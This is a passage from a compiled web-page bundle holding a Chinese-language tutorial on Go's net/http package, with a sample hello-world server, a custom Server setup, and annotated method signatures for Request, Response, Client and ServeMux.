http server\n\nfunc sayHello(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintln(w, "Hello \u6c99\u6cb3\uff01")\n}\n\nfunc main() {\n\thttp.HandleFunc("/", sayHello)\n\terr := http.ListenAndServe(":9090", nil)\n\tif err != nil {\n\t\tfmt.Printf("http server failed, err:%v\\n", err)\n\t\treturn\n\t}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u4e4b\u540e\u6267\u884c\uff0c\u6253\u5f00\u4f60\u7535\u8111\u4e0a\u7684\u6d4f\u89c8\u5668\u5728\u5730\u5740\u680f\u8f93\u5165",(0,s.jsx)(n.code,{children:"127.0.0.1:9090"}),"\u56de\u8f66\uff0c\u6b64\u65f6\u5c31\u80fd\u591f\u770b\u5230\u5982\u4e0b\u9875\u9762\u4e86\u3002",(0,s.jsx)(n.img,{alt:"hello\u9875\u9762",src:r(43268).A+"",width:"1322",height:"850"})]}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49server",children:"\u81ea\u5b9a\u4e49Server"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406\u670d\u52a1\u7aef\u7684\u884c\u4e3a\uff0c\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7684Server\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'s := &http.Server{\n\tAddr: ":8080",\n\tHandler: myHandler,\n\tReadTimeout: 10 * time.Second,\n\tWriteTimeout: 10 * time.Second,\n\tMaxHeaderBytes: 1 << 20,\n}\nlog.Fatal(s.ListenAndServe())\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u6a21\u5757\u4ecb\u7ecd",children:"\u6a21\u5757\u4ecb\u7ecd"}),"\n",(0,s.jsx)(n.h3,{id:"request",children:"Request"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'// \u5229\u7528\u6307\u5b9a\u7684method, url\u4ee5\u53ca\u53ef\u9009\u7684body\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u8bf7\u6c42.\u5982\u679cbody\u53c2\u6570\u5b9e\u73b0\u4e86\n// io.Closer\u63a5\u53e3\uff0cRequest\u8fd4\u56de\u503c\u7684Body \u5b57\u6bb5\u4f1a\u88ab\u8bbe\u7f6e\u4e3abody\uff0c\u5e76\u4f1a\u88abClient\n// \u7c7b\u578b\u7684Do\u3001Post\u548cPostForm\u65b9\u6cd5\u4ee5\u53caTransport.RoundTrip\u65b9\u6cd5\u5173\u95ed\u3002 \nfunc NewRequest(method, urlStr string, body io.Reader) (*Request, error) \n\n// \u4eceb\u4e2d\u8bfb\u53d6\u548c\u89e3\u6790\u4e00\u4e2a\u8bf7\u6c42. \nfunc ReadRequest(b *bufio.Reader) (req *Request, err error)\n\n// \u7ed9request\u6dfb\u52a0cookie, AddCookie\u5411\u8bf7\u6c42\u4e2d\u6dfb\u52a0\u4e00\u4e2acookie.\u6309\u7167RFC 6265 \n// section 5.4\u7684\u89c4\u5219, AddCookie\u4e0d\u4f1a\u6dfb\u52a0\u8d85\u8fc7\u4e00\u4e2aCookie\u5934\u5b57\u6bb5.\n// \u8fd9\u8868\u793a\u6240\u6709\u7684cookie\u90fd\u5199\u5728\u540c\u4e00\u884c, \u7528\u5206\u53f7\u5206\u9694\uff08cookie\u5185\u90e8\u7528\u9017\u53f7\u5206\u9694\u5c5e\u6027\uff09 \nfunc (r *Request) AddCookie(c *Cookie)\n\n// \u8fd4\u56derequest\u4e2d\u6307\u5b9a\u540dname\u7684cookie\uff0c\u5982\u679c\u6ca1\u6709\u53d1\u73b0\uff0c\u8fd4\u56deErrNoCookie \nfunc (r *Request) Cookie(name string) (*Cookie, error)\n\n// \u8fd4\u56de\u8be5\u8bf7\u6c42\u7684\u6240\u6709cookies \nfunc (r *Request) Cookies() []*Cookie\n\n// \u5229\u7528\u63d0\u4f9b\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u7ed9http\u57fa\u672c\u6743\u9650\u63d0\u4f9b\u5177\u6709\u4e00\u5b9a\u6743\u9650\u7684header\u3002\n// \u5f53\u4f7f\u7528http\u57fa\u672c\u6388\u6743\u65f6\uff0c\u7528\u6237\u540d\u548c\u5bc6\u7801\u662f\u4e0d\u52a0\u5bc6\u7684 \nfunc (r *Request) SetBasicAuth(username, password string)\n\n// \u5982\u679c\u5728request\u4e2d\u53d1\u9001\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u5ba2\u6237\u7aef\u7684user-Agent\nfunc (r *Request) UserAgent() string\n\n// \u5bf9\u4e8e\u6307\u5b9a\u683c\u5f0f\u7684key\uff0cFormFile\u8fd4\u56de\u7b26\u5408\u6761\u4ef6\u7684\u7b2c\u4e00\u4e2a\u6587\u4ef6\uff0c\u5982\u679c\u6709\u5fc5\u8981\u7684\u8bdd\uff0c\n// \u8be5\u51fd\u6570\u4f1a\u8c03\u7528ParseMultipartForm\u548cParseForm\u3002 \nfunc (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)\n\n// \u8fd4\u56dekey\u83b7\u53d6\u7684\u961f\u5217\u4e2d\u7b2c\u4e00\u4e2a\u503c\u3002\u5728\u67e5\u8be2\u8fc7\u7a0b\u4e2dpost\u548cput\u4e2d\u7684\u4e3b\u9898\u53c2\u6570\u4f18\u5148\u7ea7\n// \u9ad8\u4e8eurl\u4e2d\u7684value\u3002\u4e3a\u4e86\u8bbf\u95ee\u76f8\u540ckey\u7684\u591a\u4e2a\u503c\uff0c\u8c03\u7528ParseForm\u7136\u540e\u76f4\u63a5\n// \u68c0\u67e5RequestForm\u3002 \nfunc (r *Request) FormValue(key string) string\n\n// \u5982\u679c\u8fd9\u662f\u4e00\u4e2a\u6709\u591a\u90e8\u5206\u7ec4\u6210\u7684post\u8bf7\u6c42\uff0c\u8be5\u51fd\u6570\u5c06\u4f1a\u8fd4\u56de\u4e00\u4e2aMIME \u591a\u90e8\u5206reader\uff0c\n// \u5426\u5219\u7684\u8bdd\u5c06\u4f1a\u8fd4\u56de\u4e00\u4e2anil\u548cerror\u3002\u4f7f\u7528\u672c\u51fd\u6570\u4ee3\u66ffParseMultipartForm\n// \u53ef\u4ee5\u5c06\u8bf7\u6c42body\u5f53\u505a\u6d41stream\u6765\u5904\u7406\u3002 \nfunc (r *Request) MultipartReader() (*multipart.Reader, error)\n\n// \u89e3\u6790URL\u4e2d\u7684\u67e5\u8be2\u5b57\u7b26\u4e32\uff0c\u5e76\u5c06\u89e3\u6790\u7ed3\u679c\u66f4\u65b0\u5230r.Form\u5b57\u6bb5\u3002\u5bf9\u4e8ePOST\u6216PUT\n// \u8bf7\u6c42\uff0cParseForm\u8fd8\u4f1a\u5c06body\u5f53\u4f5c\u8868\u5355\u89e3\u6790\uff0c\u5e76\u5c06\u7ed3\u679c\u65e2\u66f4\u65b0\u5230r.PostForm\u4e5f\n// \u66f4\u65b0\u5230r.Form\u3002\u89e3\u6790\u7ed3\u679c\u4e2d\uff0cPOST\u6216PUT\u8bf7\u6c42\u4e3b\u4f53\u8981\u4f18\u5148\u4e8eURL\u67e5\u8be2\u5b57\u7b26\u4e32\n// \uff08\u540c\u540d\u53d8\u91cf\uff0c\u4e3b\u4f53\u7684\u503c\u5728\u67e5\u8be2\u5b57\u7b26\u4e32\u7684\u503c\u524d\u9762\uff09\u3002\u5982\u679c\u8bf7\u6c42\u7684\u4e3b\u4f53\u7684\u5927\u5c0f\u6ca1\u6709\u88ab\n// MaxBytesReader\u51fd\u6570\u8bbe\u5b9a\u9650\u5236\uff0c\u5176\u5927\u5c0f\u9ed8\u8ba4\u9650\u5236\u4e3a\u5f00\u593410MB\u3002\n// ParseMultipartForm\u4f1a\u81ea\u52a8\u8c03\u7528ParseForm\u3002\u91cd\u590d\u8c03\u7528\u672c\u65b9\u6cd5\u662f\u65e0\u610f\u4e49\u7684\u3002\nfunc (r *Request) ParseForm() error \n\n// ParseMultipartForm\u5c06\u8bf7\u6c42\u7684\u4e3b\u4f53\u4f5c\u4e3amultipart/form-data\u89e3\u6790\u3002\n// \u8bf7\u6c42\u7684\u6574\u4e2a\u4e3b\u4f53\u90fd\u4f1a\u88ab\u89e3\u6790\uff0c\u5f97\u5230\u7684\u6587\u4ef6\u8bb0\u5f55\u6700\u591a maxMemery\u5b57\u8282\u4fdd\u5b58\u5728\u5185\u5b58\uff0c\n// \u5176\u4f59\u90e8\u5206\u4fdd\u5b58\u5728\u786c\u76d8\u7684temp\u6587\u4ef6\u91cc\u3002\u5982\u679c\u5fc5\u8981\uff0cParseMultipartForm\u4f1a\n// \u81ea\u884c\u8c03\u7528 ParseForm\u3002\u91cd\u590d\u8c03\u7528\u672c\u65b9\u6cd5\u662f\u65e0\u610f\u4e49\u7684\u3002\nfunc (r *Request) ParseMultipartForm(maxMemory int64) error \n\n// \u8fd4\u56depost\u6216\u8005put\u8bf7\u6c42body\u6307\u5b9a\u5143\u7d20\u7684\u7b2c\u4e00\u4e2a\u503c\uff0c\u5176\u4e2durl\u4e2d\u7684\u53c2\u6570\u88ab\u5ffd\u7565\u3002\nfunc (r *Request) PostFormValue(key string) string \n\n// \u68c0\u6d4b\u5728request\u4e2d\u4f7f\u7528\u7684http\u534f\u8bae\u662f\u5426\u81f3\u5c11\u662fmajor.minor \nfunc (r *Request) ProtoAtLeast(major\uff0cminor int) bool\n\n// \u5982\u679crequest\u4e2d\u6709refer\uff0c\u90a3\u4e48refer\u8fd4\u56de\u76f8\u5e94\u7684url\u3002Referer\u5728request\n// \u4e2d\u662f\u62fc\u9519\u7684\uff0c\u8fd9\u4e2a\u9519\u8bef\u4ecehttp\u521d\u671f\u5c31\u5df2\u7ecf\u5b58\u5728\u4e86\u3002\u8be5\u503c\u4e5f\u53ef\u4ee5\u4eceHeadermap\u4e2d\n// \u5229\u7528Header["Referer"]\u83b7\u53d6\uff1b\u5728\u4f7f\u7528\u8fc7\u7a0b\u4e2d\u5229\u7528Referer\u8fd9\u4e2a\u65b9\u6cd5\u800c\n// \u4e0d\u662fmap\u7684\u5f62\u5f0f\u7684\u597d\u5904\u662f\u5728\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u68c0\u67e5\u65b9\u6cd5\u7684\u9519\u8bef\uff0c\u800c\u65e0\u6cd5\u68c0\u67e5map\u4e2d\n// key\u7684\u9519\u8bef\u3002\nfunc (r *Request) Referer() string \n\n// Write\u65b9\u6cd5\u4ee5\u6709\u7ebf\u683c\u5f0f\u5c06HTTP/1.1\u8bf7\u6c42\u5199\u5165w\uff08\u7528\u4e8e\u5c06\u8bf7\u6c42\u5199\u5165\u4e0b\u5c42TCPConn\u7b49\uff09\n// \u3002\u672c\u65b9\u6cd5\u4f1a\u8003\u8651\u8bf7\u6c42\u7684\u5982\u4e0b\u5b57\u6bb5\uff1aHost URL Method (defaults to "GET")\n// Header ContentLength TransferEncoding Body\u5982\u679c\u5b58\u5728Body\uff0c\n// ContentLength\u5b57\u6bb5<= 0\u4e14TransferEncoding\u5b57\u6bb5\u672a\u663e\u5f0f\u8bbe\u7f6e\u4e3a\n// ["identity"]\uff0cWrite\u65b9\u6cd5\u4f1a\u663e\u5f0f\u6dfb\u52a0\u201dTransfer-Encoding: chunked\u201d\n// \u5230\u8bf7\u6c42\u7684\u5934\u57df\u3002Body\u5b57\u6bb5\u4f1a\u5728\u53d1\u9001\u5b8c\u8bf7\u6c42\u540e\u5173\u95ed\u3002\nfunc (r *Request) Write(w io.Writer) error \n\n// \u8be5\u51fd\u6570\u4e0eWrite\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u4f46\u662f\u8be5\u65b9\u6cd5\u5199\u7684request\u662f\u6309\u7167http\u4ee3\u7406\u7684\u683c\u5f0f\u53bb\u5199\u3002\n// \u5c24\u5176\u662f\uff0c\u6309\u7167RFC 2616 Section 5.1.2\uff0cWriteProxy\u4f1a\u4f7f\u7528\u7edd\u5bf9URI\n// \uff08\u5305\u62ec\u534f\u8bae\u548c\u4e3b\u673a\u540d\uff09\u6765\u521d\u59cb\u5316\u8bf7\u6c42\u7684\u7b2c1\u884c\uff08Request-URI\u884c\uff09\u3002\u65e0\u8bba\u4f55\u79cd\u60c5\u51b5\uff0c\n// WriteProxy\u90fd\u4f1a\u4f7f\u7528r.Host\u6216r.URL.Host\u8bbe\u7f6eHost\u5934\u3002\nfunc (r *Request) WriteProxy(w io.Writer) error\n'})}),"\n",(0,s.jsx)(n.h3,{id:"response",children:"Response"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"// \u6ce8\u610f\u662f\u5728response.go\u4e2d\u5b9a\u4e49\u7684\uff0c\u800c\u5728server.go\u6709\u4e00\u4e2a\n// type response struct \uff0c\u6ce8\u610f\u5927\u5c0f\u5199\u3002\u8fd9\u4e2a\u7ed3\u6784\u662f\u4f53\u73b0\u5728server\u7aef\u7684\u529f\u80fd\u3002\ntype Response struct \n\n// ReadResponse\u4ecer\u8bfb\u53d6\u5e76\u8fd4\u56de\u4e00\u4e2aHTTP \u56de\u590d\u3002req\u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u6307\u5b9a\u8be5\u56de\u590d\n// \u5bf9\u5e94\u7684\u8bf7\u6c42\uff08\u5373\u662f\u5bf9\u8be5\u8bf7\u6c42\u7684\u56de\u590d\uff09\u3002\u5982\u679c\u662fnil\uff0c\u5c06\u5047\u8bbe\u8bf7 \u6c42\u662fGET\u8bf7\u6c42\u3002\n// \u5ba2\u6237\u7aef\u5fc5\u987b\u5728\u7ed3\u675fresp.Body\u7684\u8bfb\u53d6\u540e\u5173\u95ed\u5b83\u3002\u8bfb\u53d6\u5b8c\u6bd5\u5e76\u5173\u95ed\u540e\uff0c\u5ba2\u6237\u7aef\u53ef\u4ee5\n// \u68c0\u67e5resp.Trailer\u5b57\u6bb5\u83b7\u53d6\u56de\u590d\u7684 trailer\u7684\u952e\u503c\u5bf9\u3002\nfunc ReadResponse(r *bufio.Reader, req *Request) (*Response, error)\n\n// \u89e3\u6790cookie\u5e76\u8fd4\u56de\u5728header\u4e2d\u5229\u7528set-Cookie\u8bbe\u5b9a\u7684cookie\u503c\u3002\nfunc (r *Response) Cookies() []*Cookie \n\n// \u8fd4\u56deresponse\u4e2dLocation\u7684header\u503c\u7684url\u3002\u5982\u679c\u8be5\u503c\u5b58\u5728\u7684\u8bdd\uff0c\u5219\u5bf9\u4e8e\n// \u8bf7\u6c42\u95ee\u9898\u53ef\u4ee5\u89e3\u51b3\u76f8\u5bf9\u91cd\u5b9a\u5411\u7684\u95ee\u9898\uff0c\u5982\u679c\u8be5\u503c\u4e3anil\uff0c\u5219\u8fd4\u56deErrNOLocation\u3002\nfunc (r *Response) Location() (*url.URL\uff0cerror) \n\n// \u5224\u5b9a\u5728response\u4e2d\u4f7f\u7528\u7684http\u534f\u8bae\u662f\u5426\u81f3\u5c11\u662fmajor.minor\u7684\u5f62\u5f0f\u3002\nfunc (r *Response) ProtoAtLeast(major, minor int) bool \n\n// \u5c06response\u4e2d\u4fe1\u606f\u6309\u7167\u7ebf\u6027\u683c\u5f0f\u5199\u5165w\u4e2d\u3002\nfunc (r *Response) Write(w io.Writer) error\n"})}),"\n",(0,s.jsx)(n.h3,{id:"client",children:"Client"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"// Client\u5177\u6709Do\uff0cGet\uff0cHead\uff0cPost\u4ee5\u53caPostForm\u7b49\u65b9\u6cd5\u3002 \u5176\u4e2dDo\u65b9\u6cd5\u53ef\u4ee5\u5bf9\n// Request\u8fdb\u884c\u4e00\u7cfb\u5217\u7684\u8bbe\u5b9a\uff0c\u800c\u5176\u4ed6\u7684\u5bf9request\u8bbe\u5b9a\u8f83\u5c11\u3002\u5982\u679cClient\u4f7f\u7528\u9ed8\u8ba4\u7684\n// Client\uff0c\u5219\u5176\u4e2d\u7684Get\uff0cHead\uff0cPost\u4ee5\u53caPostForm\u65b9\u6cd5\u76f8\u5f53\u4e8e\u9ed8\u8ba4\u7684http.Get, \n// http.Post, http.Head\u4ee5\u53cahttp.PostForm\u51fd\u6570\u3002\ntype Client struct\n\n// \u5229\u7528GET\u65b9\u6cd5\u5bf9\u4e00\u4e2a\u6307\u5b9a\u7684URL\u8fdb\u884c\u8bf7\u6c42\uff0c\u5982\u679cresponse\u662f\u5982\u4e0b\u91cd\u5b9a\u5411\u4e2d\u7684\u4e00\u4e2a\n// \u4ee3\u7801\uff0c\u5219Get\u4e4b\u540e\u5c06\u4f1a\u8c03\u7528\u91cd\u5b9a\u5411\u5185\u5bb9\uff0c\u6700\u591a10\u6b21\u91cd\u5b9a\u5411\u3002 \n// 301 (\u6c38\u4e45\u91cd\u5b9a\u5411\uff0c\u544a\u8bc9\u5ba2\u6237\u7aef\u4ee5\u540e\u5e94\u8be5\u4ece\u65b0\u5730\u5740\u8bbf\u95ee) \n// 302 (\u6682\u65f6\u6027\u91cd\u5b9a\u5411\uff0c\u4f5c\u4e3aHTTP1.0\u7684\u6807\u51c6\uff0cPHP\u7684\u9ed8\u8ba4Location\u91cd\u5b9a\u5411\u7528\u5230\n// \u4e5f\u662f302)\uff0c\u6ce8\uff1a303\u548c307\u5176\u5b9e\u662f\u5bf9302\u7684\u7ec6\u5316\u3002 \n// 303 (\u5bf9\u4e8ePost\u8bf7\u6c42\uff0c\u5b83\u8868\u793a\u8bf7\u6c42\u5df2\u7ecf\u88ab\u5904\u7406\uff0c\u5ba2\u6237\u7aef\u53ef\u4ee5\u63a5\u7740\u4f7f\u7528GET\u65b9\u6cd5\u53bb\n// \u8bf7\u6c42Location\u91cc\u7684URl) \n// 307 (\u4e34\u65f6\u91cd\u5b9a\u5411\uff0c\u5bf9\u4e8ePost\u8bf7\u6c42\uff0c\u8868\u793a\u8bf7\u6c42\u8fd8\u6ca1\u6709\u88ab\u5904\u7406\uff0c\u5ba2\u6237\u7aef\u5e94\u8be5\u5411\n// Location\u91cc\u7684URL\u91cd\u65b0\u53d1\u8d77Post\u8bf7\u6c42)\nfunc Get(url string) (resp *Response, err error) \n\n// \u8be5\u51fd\u6570\u529f\u80fd\u89c1net\u4e2dHead\u65b9\u6cd5\u529f\u80fd\u3002\u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2d\n// Head\u65b9\u6cd5\u4e00\u81f4\u3002\nfunc Head(url string) (resp *Response, err error) \n\n// \u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2dPost\u65b9\u6cd5\u4e00\u81f4\u3002\nfunc Post(url string, bodyType string, body io.Reader) (resp *Response, err error)\n\n// \u8be5\u65b9\u6cd5\u4e0e\u9ed8\u8ba4\u7684defaultClient\u4e2dPostForm\u65b9\u6cd5\u4e00\u81f4\u3002 \nfunc PostForm(url string, data url.Values) (resp *Response, err error)\n\n// Do\u53d1\u9001http\u8bf7\u6c42\u5e76\u4e14\u8fd4\u56de\u4e00\u4e2ahttp\u54cd\u5e94, \u9075\u5b88client\u7684\u7b56\u7565, \u5982\u91cd\u5b9a\u5411, \n// cookies\u4ee5\u53caauth\u7b49.\u9519\u8bef\u7ecf\u5e38\u662f\u7531\u4e8e\u7b56\u7565\u5f15\u8d77\u7684, \u5f53err\u662fnil\u65f6, resp\n// \u603b\u4f1a\u5305\u542b\u4e00\u4e2a\u975enil\u7684resp.body.\u5f53\u8c03\u7528\u8005\u8bfb\u5b8cresp.body\u4e4b\u540e\u5e94\u8be5\u5173\u95ed\u5b83, \n// \u5982\u679cresp.body\u6ca1\u6709\u5173\u95ed, \u5219Client\u5e95\u5c42RoundTripper\u5c06\u65e0\u6cd5\u91cd\u7528\u5b58\u5728\u7684\n// TCP\u8fde\u63a5\u53bb\u670d\u52a1\u63a5\u4e0b\u6765\u7684\u8bf7\u6c42, \u5982\u679cresp.body\u975enil, \u5219\u5fc5\u987b\u5bf9\u5176\u8fdb\u884c\u5173\u95ed.\n// \u901a\u5e38\u6765\u8bf4, \u7ecf\u5e38\u4f7f\u7528Get, Post, \u6216\u8005PostForm\u6765\u66ff\u4ee3Do. \nfunc (c *Client) Do(req *Request) (resp *Response, err error)\n\n// \u5229\u7528get\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url.Get\u8bf7\u6c42\u6307\u5b9a\u7684\u9875\u9762\u4fe1\u606f\uff0c\u5e76\u8fd4\u56de\u5b9e\u4f53\u4e3b\u4f53\u3002\nfunc (c *Client) Get(url string) (resp *Response, err error) \n\n// \u5229\u7528head\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url\uff0cHead\u53ea\u8fd4\u56de\u9875\u9762\u7684\u9996\u90e8\u3002\nfunc (c *Client) Head(url string) (resp *Response, err error) \n\n// post\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684URl, \u5982\u679cbody\u4e5f\u662f\u4e00\u4e2aio.Closer, \u5219\u5728\u8bf7\u6c42\u4e4b\u540e\u5173\u95ed\u5b83 \nfunc (c *Client) Post(url string, bodyType string, body io.Reader) (resp *Response, err error)\n\n// \u5229\u7528post\u65b9\u6cd5\u8bf7\u6c42\u6307\u5b9a\u7684url, \u5229\u7528data\u7684key\u548cvalue\u4f5c\u4e3a\u8bf7\u6c42\u4f53. \nfunc (c *Client) PostForm(url string, data url.Values) (resp *Response, err error)\n"})}),"\n",(0,s.jsx)(n.h3,{id:"server-\u670d\u52a1\u7aef",children:"Server \u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.p,{children:"http Server\u670d\u52a1\u7aef\u7528\u6765\u63a5\u6536\u5e76\u54cd\u5e94http Client\u7aef\u53d1\u51fa\u7684http Request\u8bf7\u6c42\uff0c\u662fnet/http\u5305\u4e2d\u975e\u5e38\u91cd\u8981\u548c\u5173\u952e\u7684\u4e00\u4e2a\u529f\u80fd\u3002\u6211\u4eec\u5728Go\u8bed\u8a00\u4e2d\u7b80\u5355\u5c31\u80fd\u642d\u5efaHTTP\u670d\u52a1\u5668\uff0c\u5c31\u662f\u56e0\u4e3a\u5b83\u7684\u5b58\u5728\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5728server.go\u6587\u4ef6\u4e2d\u8fd8\u5b9a\u4e49\u4e86\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u63a5\u53e3\uff1aHandler\uff0c\u53e6\u5916\u8fd8\u6709\u4e00\u4e2a\u7ed3\u6784\u4f53response\uff0c\u8fd9\u548chttp.Response\u7ed3\u6784\u4f53\u53ea\u6709\u9996\u5b57\u6bcd\u5927\u5c0f\u5199\u4e0d\u4e00\u81f4\uff0c\u4e0d\u8fc7\u8fd9\u4e2aresponse \u4e5f\u662f\u54cd\u5e94\uff0c\u53ea\u4e0d\u8fc7\u662f\u4e13\u95e8\u7528\u5728\u670d\u52a1\u7aef\uff0c\u548chttp.Response\u7ed3\u6784\u4f53\u662f\u5b8c\u5168\u4e24\u56de\u4e8b\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"type Handler interface {\n ServeHTTP(ResponseWriter, *Request)\n}\n\ntype Server struct\n\n// \u76d1\u542cTCP\u7f51\u7edc\u5730\u5740srv.Addr\u7136\u540e\u8c03\u7528Serve\u6765\u5904\u7406\u63a5\u4e0b\u6765\u8fde\u63a5\u7684\u8bf7\u6c42\u3002\n// \u5982\u679csrv.Addr\u662f\u7a7a\u7684\u8bdd\uff0c\u5219\u4f7f\u7528\u201c:http\u201d\u3002\nfunc (srv *Server) ListenAndServe() error \n\n// ListenAndServeTLS\u76d1\u542csrv.Addr\u786e\u5b9a\u7684TCP\u5730\u5740\uff0c\u5e76\u4e14\u4f1a\u8c03\u7528Serve\n// \u65b9\u6cd5\u5904\u7406\u63a5\u6536\u5230\u7684\u8fde\u63a5\u3002\u5fc5\u987b\u63d0\u4f9b\u8bc1\u4e66\u6587\u4ef6\u548c\u5bf9\u5e94\u7684\u79c1\u94a5\u6587 \u4ef6\u3002\u5982\u679c\u8bc1\u4e66\u662f\u7531\n// \u6743\u5a01\u673a\u6784\u7b7e\u53d1\u7684\uff0ccertFile\u53c2\u6570\u5fc5\u987b\u662f\u987a\u5e8f\u4e32\u8054\u7684\u670d\u52a1\u7aef\u8bc1\u4e66\u548cCA\u8bc1\u4e66\u3002\n// \u5982\u679csrv.Addr\u4e3a\u7a7a\u5b57\u7b26\u4e32\uff0c\u4f1a\u4f7f \u7528\u201d:https\u201d\u3002\nfunc (srv *Server) ListenAndServeTLS(certFile, keyFile string) error \n\n// \u63a5\u53d7Listener l\u7684\u8fde\u63a5\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u670d\u52a1\u534f\u7a0b\u3002\u8be5\u670d\u52a1\u534f\u7a0b\u8bfb\u53d6\u8bf7\u6c42\u7136\u540e\u8c03\u7528\n// srv.Handler\u6765\u5e94\u7b54\u3002\u5b9e\u9645\u4e0a\u5c31\u662f\u5b9e\u73b0\u4e86\u5bf9\u67d0\u4e2a\u7aef\u53e3\u8fdb\u884c\u76d1\u542c\uff0c\u7136\u540e\u521b\u5efa\u76f8\u5e94\u7684\u8fde\u63a5\u3002 \nfunc (srv *Server) Serve(l net.Listener) error\n\n// \u8be5\u51fd\u6570\u63a7\u5236\u662f\u5426http\u7684keep-alives\u80fd\u591f\u4f7f\u7528\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0ckeep-alives\u603b\u662f\u53ef\u7528\u7684\u3002\n// \u53ea\u6709\u8d44\u6e90\u975e\u5e38\u7d27\u5f20\u7684\u73af\u5883\u6216\u8005\u670d\u52a1\u7aef\u5728\u5173\u95ed\u8fdb\u7a0b\u4e2d\u65f6\uff0c\u624d\u5e94\u8be5\u5173\u95ed\u8be5\u529f\u80fd\u3002 \nfunc (s *Server) SetKeepAlivesEnabled(v bool)\n\n// \u662f\u4e00\u4e2ahttp\u8bf7\u6c42\u591a\u8def\u590d\u7528\u5668\uff0c\u5b83\u5c06\u6bcf\u4e00\u4e2a\u8bf7\u6c42\u7684URL\u548c\n// \u4e00\u4e2a\u6ce8\u518c\u6a21\u5f0f\u7684\u5217\u8868\u8fdb\u884c\u5339\u914d\uff0c\u7136\u540e\u8c03\u7528\u548cURL\u6700\u5339\u914d\u7684\u6a21\u5f0f\u7684\u5904\u7406\u5668\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u3002\ntype ServeMux\n\n// \u521d\u59cb\u5316\u4e00\u4e2a\u65b0\u7684ServeMux \nfunc NewServeMux() *ServeMux\n\n// \u5c06handler\u6ce8\u518c\u4e3a\u6307\u5b9a\u7684\u6a21\u5f0f\uff0c\u5982\u679c\u8be5\u6a21\u5f0f\u5df2\u7ecf\u6709\u4e86handler\uff0c\u5219\u4f1a\u51fa\u9519panic\u3002\nfunc (mux *ServeMux) Handle(pattern string, handler Handler) \n\n// \u5c06handler\u6ce8\u518c\u4e3a\u6307\u5b9a\u7684\u6a21\u5f0f \nfunc (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request))\n\n// \u6839\u636e\u6307\u5b9a\u7684r.Method, r.Host\u4ee5\u53car.RUL.Path\u8fd4\u56de\u4e00\u4e2a\u7528\u6765\u5904\u7406\u7ed9\u5b9a\u8bf7\u6c42\u7684handler\u3002\n// \u8be5\u51fd\u6570\u603b\u662f\u8fd4\u56de\u4e00\u4e2a\u975enil\u7684 handler\uff0c\u5982\u679cpath\u4e0d\u662f\u4e00\u4e2a\u89c4\u8303\u683c\u5f0f\uff0c\u5219handler\u4f1a\n// \u91cd\u5b9a\u5411\u5230\u5176\u89c4\u8303path\u3002Handler\u603b\u662f\u8fd4\u56de\u5339\u914d\u8be5\u8bf7\u6c42\u7684\u7684\u5df2\u6ce8\u518c\u6a21\u5f0f\uff1b\u5728\u5185\u5efa\u91cd\u5b9a\u5411\n// \u5904\u7406\u5668\u7684\u60c5\u51b5\u4e0b\uff0cpattern\u4f1a\u5728\u91cd\u5b9a\u5411\u540e\u8fdb\u884c\u5339\u914d\u3002\u5982\u679c\u6ca1\u6709\u5df2\u6ce8\u518c\u6a21\u5f0f\u53ef\u4ee5\u5e94\u7528\u4e8e\u8be5\u8bf7\u6c42\uff0c\n// \u672c\u65b9\u6cd5\u5c06\u8fd4\u56de\u4e00\u4e2a\u5185\u5efa\u7684\u201d404 page not found\u201d\u5904\u7406\u5668\u548c\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u6a21\u5f0f\u3002\nfunc (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) \n\n// \u8be5\u51fd\u6570\u7528\u4e8e\u5c06\u6700\u63a5\u8fd1\u8bf7\u6c42url\u6a21\u5f0f\u7684handler\u5206\u914d\u7ed9\u6307\u5b9a\u7684\u8bf7\u6c42\u3002 \nfunc (mux *ServeMux) ServeHTTP(w ResponseWriter, r 